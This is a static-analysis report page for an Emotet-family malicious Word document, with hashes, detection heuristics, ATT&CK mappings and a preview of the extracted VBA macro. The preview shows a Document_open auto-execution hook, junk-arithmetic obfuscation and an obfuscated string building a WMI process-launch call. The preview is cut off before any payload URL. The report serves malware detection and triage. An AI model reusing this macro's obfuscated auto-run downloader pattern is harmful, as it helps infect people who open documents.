Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d287b2cfc5f1d6e4…

MALICIOUS

Office (OLE)

186.9 KB Created: 2020-09-03 06:32:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: e1f92a420cfa587dff99559f787ce93c SHA-1: 271c0eb9725c325b684393d50cb1960154f0e2c9 SHA-256: d287b2cfc5f1d6e40c39350b1633a4e6e272c0dba5397be5069d90de84232eef
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-9751865-0', strongly suggesting the Emotet family. The presence of a 'Document_Open' VBA macro that uses 'CreateObject' indicates an attempt to execute code upon opening. This macro is designed to download and execute a second-stage payload, a common Emotet tactic.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9751865-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9751865-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11281 bytes
SHA-256: 5351b15bb3e398869b09878165fde179917e1237e271216e2b436a85fcb65f0b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ffe1zv1u7lscyaipvj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Jyon3lwu1zfgy.L5ojuc08cli57z1
End Sub


Attribute VB_Name = "Jyon3lwu1zfgy"
Attribute VB_Base = "0{38511DE7-3145-4BEB-9320-F8A37B4729FF}{B442C312-AB34-42C6-836C-8C66EADF2D31}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function L5ojuc08cli57z1()
   On Error Resume Next
Qpwb3_n3dtcapyzo = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
G4mim8wvwvu = xoQC80y2
Ok2xl2f7jxxqn5 = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Rd63eg20a6p = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
N6wg77t60r25pm5 = (51 / bKtNl)
Narfo5kuimnd9 = CDate(TDlq20)
B66vzk6b_98 = 105
   On Error Resume Next
Qpwb3_n3dtcapyzo = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
G4mim8wvwvu = xoQC80y2
Ok2xl2f7jxxqn5 = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Rd63eg20a6p = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
N6wg77t60r25pm5 = (51 / bKtNl)
Narfo5kuimnd9 = CDate(TDlq20)
D_nq59piholg = ChrW$(B66vzk6b_98 + (10))
   On Error Resume Next
Qpwb3_n3dtcapyzo = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
G4mim8wvwvu = xoQC80y2
Ok2xl2f7jxxqn5 = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Rd63eg20a6p = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
N6wg77t60r25pm5 = (51 / bKtNl)
Narfo5kuimnd9 = CDate(TDlq20)
Z58hzvdol2h = "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]i26{} 328[]9 gv]bhja[]nm26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]gm26{} 328[]9 gv]bhja[]t26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]" + D_nq59piholg + "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]:26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]in26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]326{} 328[]9 gv]bhja[]226{} 328[]9 gv]bhja[]_26{} 328[]9 gv]bhja[]" + Jyon3lwu1zfgy.G7t4g8q6wnqie + "26{} 328[]9 gv]bhja[]ro26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]ce26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]"
   On Error Resume Next
Qpwb3_n3dtcapyzo = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
G4mim8wvwvu = xoQC80y2
Ok2xl2f7jxxqn5 = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Rd63eg20a6p = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
N6wg77t60r25pm5 = (51 / bKtNl)
Narfo5kuimnd9 = CDate(TDlq20)
L2o5jgodb6ai0 = I03gnc9dgiyd(Z58hzvdol2h)
   On Error Resume Next
Qpwb3_n3dtcapyzo = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
G4mim8wvwvu = xoQC80y2
Ok2xl2f7jxxqn5 = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Rd63eg20a6p = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
N6wg77t60r25pm5 = (51 / bKtNl)
Narfo5kuimnd9 = CDate(TDlq20)
   On Error Resume Next
Qpwb3_n3dtcapyzo = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
G4mim8wvwvu = xoQC80y2
Ok2xl2f7jxxqn5 = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Log(gmuN0N560)
Rd63eg20a6p = AYUNL - Sin(gnY) - wACSg - CBool(JOQS) / 705 + Fix(oJdI)
N6wg77t60r25pm5 = (51 / bKtNl)
Narfo5kuimnd9 = CDate(TDlq20)
H4b5mwrpra06 = Jyon3lwu1zfgy.Guie4cluajktf6w4.ControlTipText
   On Error Resume Next
Qpwb3_n3dtcapyzo = Chr(6 - Atn(pCso7h748) / 728 / Tan(VoUn2Hd / 31))
G4mim8wvwvu = xoQC80y2
Ok2xl2f7jxxqn5 = 15 + NPZK765 * lmTz1rtS / CLng(qXfor42) / gZmgen2 / CLng(mjnp4 * ckFZ) - AEVNCSp * CDate(ecxz) * MPyo / Lo
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.